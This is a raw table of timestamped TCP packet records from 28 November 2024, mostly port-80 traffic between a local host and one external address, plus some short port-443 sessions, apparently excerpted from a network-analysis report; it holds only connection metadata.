Nov 28, 2024 00:19:50.425883055 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.426029921 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.426153898 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.426681995 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.426696062 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.426778078 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.426778078 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.427453995 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.427510977 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.427674055 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.427725077 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.428260088 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.428309917 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.428469896 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.428510904 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.429106951 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.429152012 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.429383039 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.429434061 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.429908991 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.430466890 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.430532932 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.430752039 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.430860996 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.430932045 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.430974007 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.431603909 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.431813002 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.431828022 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.432157040 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.432508945 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.432521105 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.432565928 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.432579994 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.433244944 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.433413029 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.434041977 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.435650110 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.482984066 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.483104944 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.483117104 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.483258009 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.483334064 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.483537912 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.483589888 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.483803988 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.484155893 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.484217882 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.484508038 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.484549046 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.484965086 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.485012054 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.485065937 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.485111952 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.485821962 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.485868931 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.485944986 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.485985041 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.486609936 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.486783981 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.487189054 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.487238884 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.487432003 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.487489939 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.487617016 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.487690926 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.488312006 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.488360882 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.488487005 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.488612890 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.489121914 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.489172935 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.489434004 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.489492893 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.489994049 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.490051985 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.490057945 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.490097046 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.490762949 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.490808010 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.490957975 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.491075993 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.491580009 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.491635084 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.491811037 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.491867065 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.531501055 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.531512976 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.531560898 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.531728983 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.531778097 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.531826019 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.531936884 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.532526016 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.532583952 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.532603025 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.532653093 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.532655001 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.532768965 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.533433914 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.533534050 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.533551931 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.533611059 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.534252882 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.534297943 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.534430027 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.534471035 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.535089016 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.535134077 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.535384893 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.535433054 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.535896063 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.535942078 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.536067009 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.536113977 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.536747932 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.536793947 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.536945105 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.537013054 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.537537098 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.537708998 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.537755013 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.537811995 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.538383961 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.538429976 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.538645983 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.538686991 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.539226055 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.539349079 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.539429903 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.539504051 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.559140921 CET	443	49883	2.16.158.56	192.168.2.6
Nov 28, 2024 00:19:50.559237003 CET	49883	443	192.168.2.6	2.16.158.56
Nov 28, 2024 00:19:50.559317112 CET	49883	443	192.168.2.6	2.16.158.56
Nov 28, 2024 00:19:50.559355974 CET	443	49883	2.16.158.56	192.168.2.6
Nov 28, 2024 00:19:50.559427023 CET	49883	443	192.168.2.6	2.16.158.56
Nov 28, 2024 00:19:50.561048031 CET	49901	443	192.168.2.6	150.171.28.10
Nov 28, 2024 00:19:50.561086893 CET	443	49901	150.171.28.10	192.168.2.6
Nov 28, 2024 00:19:50.561391115 CET	49901	443	192.168.2.6	150.171.28.10
Nov 28, 2024 00:19:50.561758041 CET	49901	443	192.168.2.6	150.171.28.10
Nov 28, 2024 00:19:50.561777115 CET	443	49901	150.171.28.10	192.168.2.6
Nov 28, 2024 00:19:50.617995977 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.618051052 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.618191957 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.618241072 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.618299007 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.618381023 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.618794918 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.618840933 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.618957996 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.618969917 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.619034052 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.619716883 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.619941950 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.619993925 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.620034933 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.620538950 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.620592117 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.621037960 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.621088982 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.621413946 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.621426105 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.621460915 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.622200012 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.622555017 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.622610092 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.623070955 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.623084068 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.623133898 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.623862982 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.623883963 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.623934031 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.624666929 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.624725103 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.624758959 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.624849081 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.625488997 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.625540018 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.625674009 CET	443	49890	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:50.626132965 CET	49890	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:50.626174927 CET	443	49890	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:50.626236916 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.626288891 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.626346111 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.626357079 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.626394033 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.626991034 CET	49890	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:50.626996994 CET	443	49890	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:50.668045044 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.695904970 CET	443	49891	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:50.696420908 CET	49891	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:50.696444035 CET	443	49891	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:50.696836948 CET	49891	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:50.696841955 CET	443	49891	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:50.748311043 CET	49902	443	192.168.2.6	23.44.201.8
Nov 28, 2024 00:19:50.748343945 CET	443	49902	23.44.201.8	192.168.2.6
Nov 28, 2024 00:19:50.748506069 CET	49902	443	192.168.2.6	23.44.201.8
Nov 28, 2024 00:19:50.749138117 CET	49902	443	192.168.2.6	23.44.201.8
Nov 28, 2024 00:19:50.749151945 CET	443	49902	23.44.201.8	192.168.2.6
Nov 28, 2024 00:19:50.749548912 CET	49903	443	192.168.2.6	23.44.201.8
Nov 28, 2024 00:19:50.749588966 CET	443	49903	23.44.201.8	192.168.2.6
Nov 28, 2024 00:19:50.749731064 CET	49903	443	192.168.2.6	23.44.201.8
Nov 28, 2024 00:19:50.749973059 CET	49903	443	192.168.2.6	23.44.201.8
Nov 28, 2024 00:19:50.749984026 CET	443	49903	23.44.201.8	192.168.2.6
Nov 28, 2024 00:19:50.751425982 CET	49904	443	192.168.2.6	204.79.197.219
Nov 28, 2024 00:19:50.751456976 CET	443	49904	204.79.197.219	192.168.2.6
Nov 28, 2024 00:19:50.751548052 CET	49904	443	192.168.2.6	204.79.197.219
Nov 28, 2024 00:19:50.751770020 CET	49905	443	192.168.2.6	204.79.197.219
Nov 28, 2024 00:19:50.751802921 CET	443	49905	204.79.197.219	192.168.2.6
Nov 28, 2024 00:19:50.751971960 CET	49904	443	192.168.2.6	204.79.197.219
Nov 28, 2024 00:19:50.751986027 CET	443	49904	204.79.197.219	192.168.2.6
Nov 28, 2024 00:19:50.752005100 CET	49905	443	192.168.2.6	204.79.197.219
Nov 28, 2024 00:19:50.752199888 CET	49905	443	192.168.2.6	204.79.197.219
Nov 28, 2024 00:19:50.752214909 CET	443	49905	204.79.197.219	192.168.2.6
Nov 28, 2024 00:19:50.793116093 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.806437016 CET	443	49893	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:50.807116985 CET	49893	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:50.807132006 CET	443	49893	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:50.807748079 CET	49893	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:50.807754993 CET	443	49893	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:51.071346045 CET	443	49890	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:51.071432114 CET	443	49890	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:51.071501970 CET	49890	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:51.071688890 CET	49890	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:51.071707010 CET	443	49890	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:51.071717024 CET	49890	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:51.071722031 CET	443	49890	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:51.074193954 CET	49906	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:51.074240923 CET	443	49906	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:51.074485064 CET	49906	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:51.074701071 CET	49906	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:51.074714899 CET	443	49906	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:51.090596914 CET	49907	443	192.168.2.6	23.44.201.32
Nov 28, 2024 00:19:51.090634108 CET	443	49907	23.44.201.32	192.168.2.6
Nov 28, 2024 00:19:51.090846062 CET	49907	443	192.168.2.6	23.44.201.32
Nov 28, 2024 00:19:51.091022015 CET	49907	443	192.168.2.6	23.44.201.32
Nov 28, 2024 00:19:51.091038942 CET	443	49907	23.44.201.32	192.168.2.6
Nov 28, 2024 00:19:51.122083902 CET	443	49897	108.139.47.92	192.168.2.6
Nov 28, 2024 00:19:51.122323990 CET	49897	443	192.168.2.6	108.139.47.92
Nov 28, 2024 00:19:51.122339010 CET	443	49897	108.139.47.92	192.168.2.6
Nov 28, 2024 00:19:51.122643948 CET	443	49897	108.139.47.92	192.168.2.6
Nov 28, 2024 00:19:51.122963905 CET	49897	443	192.168.2.6	108.139.47.92
Nov 28, 2024 00:19:51.123020887 CET	443	49897	108.139.47.92	192.168.2.6
Nov 28, 2024 00:19:51.123106003 CET	49897	443	192.168.2.6	108.139.47.92
Nov 28, 2024 00:19:51.128077030 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.128137112 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.128175974 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.128273010 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.128436089 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.128551960 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.128561020 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.128599882 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.128608942 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.128664970 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.129548073 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.129609108 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.129631996 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.129672050 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.130218029 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.130264997 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.130290031 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.130475044 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.131083012 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.131105900 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.131139994 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.131151915 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.131916046 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.131967068 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.132046938 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.132097960 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.132702112 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.132749081 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.132812977 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.132853031 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.133527040 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.133651972 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.133661985 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.133838892 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.134380102 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.134426117 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.134540081 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.134730101 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.135204077 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.135251045 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.135351896 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.135407925 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.136006117 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.136053085 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.136091948 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.136153936 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.136833906 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.136890888 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.136921883 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.136995077 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.137681007 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.137726068 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.137761116 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.137806892 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.138489962 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.138545990 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.138602972 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.138652086 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.139341116 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.139364958 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.139434099 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.139553070 CET	443	49894	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:51.140011072 CET	49894	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:51.140028000 CET	443	49894	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:51.140120029 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.140173912 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.140249014 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.140526056 CET	49894	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:51.140531063 CET	443	49894	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:51.140554905 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.140964985 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.141010046 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.141057014 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.141108990 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.141793013 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.141906977 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.141947031 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.142617941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.142646074 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.142668962 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.142683029 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.143431902 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.143481970 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.143544912 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.143639088 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.144268990 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.144345999 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.144361973 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.144465923 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.145122051 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.145167112 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.145169020 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.145237923 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.145927906 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.145976067 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.146064997 CET	80	49794	185.215.113.206	192.168.2.6
